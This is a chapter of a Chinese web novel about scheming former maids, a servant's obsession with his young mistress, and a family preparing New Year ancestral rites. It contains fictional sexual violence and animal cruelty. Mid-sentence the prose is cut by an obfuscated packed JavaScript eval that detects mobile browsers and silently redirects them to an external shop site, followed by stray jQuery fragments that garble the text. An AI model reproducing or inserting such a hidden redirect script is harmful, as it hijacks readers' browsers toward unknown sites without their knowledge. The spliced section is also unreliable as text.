123读书网 > 玄幻小说 > 高门小户 > 19. 肖想
    钱氏有孕,绘春染冬方才得以喘息。当了多年的大丫鬟,实在做不来三等丫鬟的粗事。此时染冬正举着通红的双手哭诉道:“绘春姐姐,我想回去,回到国公府。”


    “姑娘她,她,好端端地为何不要我们了?”染冬想到今日,仍旧不明白。


    绘春垂眸掩下思绪,双手捧着染冬肿成萝卜的手指道:“主子弃了奴才,怕是因着咱们无用吧。染冬,我听说汪展手上有宫廷香方,咱们弄了来献给大夫人,你说咱们是不是就能回去了?”


    “我也听说了。可是绘春姐姐,一个香方而已,大太太能感兴趣么?”


    “大太太不感兴趣,可是赵家喜欢呀。染冬,得了方子,赵家就多了挣钱的法子。你说,大太太高不高兴?”


    染冬觉得在理,当即乐道:“好姐姐,这事儿交给我。”染冬与汪展厮混了些时日,竟信了男人床上的鬼话。这日,温存过后,她问了汪展香方之事,却赤身裸体地被汪展掐着脖子按在了床上。险些,险些,就没了性命。


    回府之后,染冬惊惧之下染了风寒,绘春衣不解带地照料她。染冬惧怕道:“绘春姐姐,汪展好可怕,我都快窒息死了,他却还慢条斯理做着那事,甚至还颇为兴奋。而且染冬姐姐,你知道他最后唤的是谁的名字么?他喊得是大姑娘的名字。那个畜生,他竟敢肖想大姑娘。”


    绘春面上亦是惊惧愤怒,心里却异常兴奋。她的大姑娘,高高在上的主子,若是知晓自己成了下贱男仆意淫之物,不知会气什么样?想想真的好痛快!


    “染冬,待咱们有了主子当靠山,还用惧怕一个汪展?就是他老子,也得给咱们舔鞋底。汪展肖想小姐,咱们从这点突破不是更好么?你要不来方子,小姐还要不来么?”绘春见染冬面带不愿之色,心中忍不住嘲讽她愚忠,缓和了心中不平之气后又循循善诱道:“绘春,自然都是假的。你我不说,汪展不敢说,又有什么好惊惧的?咱们都不小了,再不想法子回去,你真想嫁给挑粪婆的儿子?日日夜夜与恭桶为伴?”


    染冬一咬牙道:“绘春姐姐说的对。咱们必须回去。咦,哪儿来的猫叫,姐姐,你养狸奴了?”


    “捡了只怀有身孕的狸奴,天寒地冻的,我若不照应着,怕是会丢了命。”


    染冬瞅了绘春一眼,少不得感慨绘春心地善良。当年在府里,自己得罪了一大片人,绘春姐姐却是人人喜欢。只是那又如何呢,还不是跟自己一样被姑娘弃了。


    姑娘她到底是为了什么?


    次日,染冬又寻了汪展,那汪展诧异道:“你胆子不小,还敢寻我,怎么,欠了?”染冬红着脸冷哼道:“我有姑娘当靠山,怕你干嘛?我那日话可没说完。你当你家辛密事情我从何处得知?正是大姑娘告知的。”


    “大姑娘说了,让你把香方交出来,少不了你的好处。”


    “我不知道你在说什么?”汪展仍是不应,染冬想了想,一咬牙,拿了件姑娘的小衣出来扔在他身上道:“姑娘赏你的。事儿成了,还有重赏!”


    这肚兜自然是绘春提供的,跟染冬说是假的,实则的的确确是宋嘉思的贴身衣物。当年她毫无缘由地被遣送出府,她心中就起了恨意,走时悄悄带了几件宋嘉思贴身衣物,目的就是为了有朝一日恶心她,报复她。


    只是没想到机会来得这般快,而且还是个下贱男仆,简直太让人惊喜了。


    汪展对大姑娘起了多年心思,自然知晓些真假。这,这的的确确是大姑娘的贴身衣物,只一下子,他浑身血脉喷张,猛得扯过染冬,两人好一番胡来。许久过后,汪展问道:“姑娘真愿意给我好处?”


    “哼,我这样的好处,你就别想了。但是么,其他的倒是可以想一想。”


    汪展为了大姑娘连性命丢了也甘愿,更何况一个香方了。只是此物在爹爹手上,还得寻个法子弄来。这事倒也简单,他爹馋酒,偏醉酒后问什么都会回答,正因如此,爹从不饮酒。


    不过那是对旁人,大过年的与亲儿子饮口酒又算什么?


    汪展心中有了计较,但他实在太贪恋大姑娘了,真恨不得立刻捧着香方跪伏在大姑娘的脚上,若是能碰一碰,纵是死了也甘愿。


    这暗里事情,裴景元虽不知具体细节,但大致情况还是知晓的。汪展那儿没什么好留意的,他倒是颇为在意绘春那只狸奴。


    “公子,绘春不过是发个善心罢了,这也值得在意么?”


    “呵,我曾亲眼见绘春将一只奶猫溺毙,还见过她活埋鹦鹉,这样的人,真的会突然发善心?”在那府里,绘春名声极好,端着一副和善面孔,却是几个丫鬟中最为心狠手辣的。那年他得知嘉佳愿望是养只狸奴后,曾想绑架一只回来送她。故而听到猫叫声后,他立刻寻了出去,再然后就发现这绘春在那儿溺毙奶猫,若非他刻意发出动静来,活生生一条狸奴就要丧命了。


    六福不想还有这桩事情,震惊地哈大了嘴巴。


    裴景元有条不紊地安排着事情,另一边宋嘉佳也起早安排收拾箱笼,吃过午膳后一家人又回到了丽正门宅子。


    这是出府后的第一个新年,安氏势必要将其置办地红红火火的。宋嘉佳那儿也忙得不停,虽说各项任务去庄子之前已经安排了下去,但进度,成果,都得一一核验。旁的倒还罢了,理也理顺一顺总能解决,倒是除夕祭祀是个难题。


    宋嘉佳上辈子也曾看过爸妈祭祖,但真的只是一个仪式罢了,早不讲究规矩了。但在古代,祭祖乃重中之重,规格礼仪都有极其严格的标准。在国公府的时候,祭祀用品全由大伯母安排准备,旁人半点沾不得,这亦是宗妇权利的展现。


    这回分家,爹爹从本家请了一份祖先谱系,开了个小祠堂,正堂位列着宋家祖先。而位置稍偏的房间又设立了个小龛,是亲祖母郝姨娘的牌位。分府之后,只要不超规格,私祭自然是合理的。


    故而宋嘉佳得准备两份祭礼,一份供给正堂祖先,一份供给亲祖母。爹爹目前尚无官职,自然供不了少牢,那能用特牲呢?再有杂果摆几层?单数还是双数?祭品摆放方位有没有要求?对了,还有祭祀用的鸡鱼该如何摆放?头朝北还是朝南?再有祭祀之前的斋戒沐浴,沐汤用哪些香料?再有沐浴的水,寻常用水可以么?好像大伯母当年刻意买了泉水。哎呀,香烛纸马还未买,还得再买些鲜果。


    宋嘉佳毫无头绪,只得将不明白点和自己接触过的一些流程写了出来。她去寻了爹娘,安氏不通,宋华礼倒是知道一些,但都是正式祭拜时的降神、三献礼、侑食环节了,之前的准备工作他并不清楚。


    “走,爹带你去寻大奶奶。”宋华礼说的大奶奶是宋国毅的妻子,姓郝,与宋华礼的娘亲乃同族姐妹。


    也正因此,宋国毅一家多有照看宋华礼与宋华珊兄妹。


    两家比邻而居,从侧门走,一碗汤的距离就到了。正巧此时,她家里也正忙着准备祭祀用品,不过管事的是她家大儿媳妇曹氏,很不必她操心。


    曹大夫人是个圆脸妇人,性子爽朗爱笑,听宋嘉佳是来询问祭祀准备的,大笑道:“好姑娘,你才这般大,倒管起这样的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852443|190385||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    要事来了?你娘呢?”


    “娘腰上的旧疾犯了,实在撑不住久坐久站。”


    “是了,你娘生了五胎,那腰的确受不住。可寻了大夫看了?”


    “寻了,敷了药膏还做了针灸,虽好了些,到底不能操劳太过。”


    正说着话,曹大夫人的女儿宋嘉芙跑了过来,她性子随了亲娘,最为活泼爽快,张嘴笑音连连,是他们家出了名的蜜糖果儿。曹大夫人就爱得不行,见她跑了一头密汗,亲自拿帕子替她擦拭了,又让丫鬟上了果茶来道:“什么天大的事儿,要你这样跑?”


    宋嘉芙冲娘娇俏着皱了皱鼻子,拽着宋嘉佳就要去她闺阁玩儿,嘴上还道:“前儿我爹寄了一匣子像生花来,说是用通脱木茎做的,陪都那儿可时兴了。还有惠山泥人,整一套八仙过海,妹妹,你要不要去看看?”


    曹大夫人连连拦下女儿道:“你当嘉佳跟你一样整日只晓得玩儿?我跟她还有正事要说,你自己去玩罢。”


    “娘,什么事儿啊?”宋嘉芙一脸好奇道。


    曹大夫人就将事儿说了,宋嘉芙立即道:“那我也要听。”曹大夫人想着女儿都要许人了,是该学学,索性拉着她一道听。不过再说之前,她先看了宋嘉佳列的单子,只见上面流程清晰,问的问题也细致到位,忍不住心中啧啧夸赞。


    这般能干的姑娘,竟还平庸无才?到底是赵国公府,要求也太严苛了。


    因着女儿也要学,曹大夫人教得十分细致。用什么面?搭几层杂果塔?沐汤用什么全都一一详述了。至于给亲祖母的私祭,倒也简单,不可用牺牲,得用熟肴,再配些生前爱吃的家常菜肴,新鲜果子等,不过郝姨娘是陪都人士,一般碗碟总数凑双,常为五碗三碟。与之相比,给宋家祖先祭祀则凑单,赵国公府的祭祀还会碟塔。


    “宋家也依着北边礼仪来么?但是咱们祖籍不是在陪都么?”宋嘉佳诧异道。


    “原先依着南边来,后来你祖父下令要求按着北边来。我听说国公爷还想在京郊找块地做家族墓地。”


    宋嘉佳还真不知晓这点,她实在费解,要晓得古代最是注重落叶归根了。祖父由陪都起家,怎么竟会排斥回去?再者,太祖可是葬在的陪都。


    虽诧异,但这也不是宋嘉佳能管得了的。她啊,做好眼前事儿就成了。


    宋嘉佳一直学到日落,也不肯在大爷爷家用饭,随着爹爹辞谢归家了。她一走,郝老夫人寻了儿媳问道:“教得如何?”


    “好的不行,我瞧这孩子是个执掌中馈的好料子。我这么些年的经验,她半日就会了。记忆好,说什么一遍就记住了。事儿也顺,不是东一块西一块的,儿媳瞧着她心里有一套流程标准。”曹大夫人是真心佩服。


    “是个好孩子,你再瞧瞧她备的礼,既周全又合适,不显得太厚失了亲近,也不太薄显得无礼,如今这般刚刚好。”


    只可惜族妹无福,早早就去了。


    回去路上,宋嘉佳问了爹爹亲祖母爱吃的菜肴,宋华礼想了想道:“郝姨娘可会吃了,嘉佳,你随了她。油炸刀鱼,水八鲜,再有钟山菌子溧水笋子,鸭血羹,烤鸭,再有黄酒生腌河虾,黎蒿炒腊肉也美味。”


    “再有什锦菜,我听郝姨娘说,陪都祭祀都用这个。鲤鱼也必不可少,不过郝姨娘倒是不吃鲤鱼。”


    宋嘉佳看了眼爹爹,只见他满眼的回忆与想念,可在亲女儿跟前,他连一声娘也不敢喊。


    克制与隐忍,小心与谨慎,已然全部融入他的骨血,让他时时刻刻都被规矩束缚着。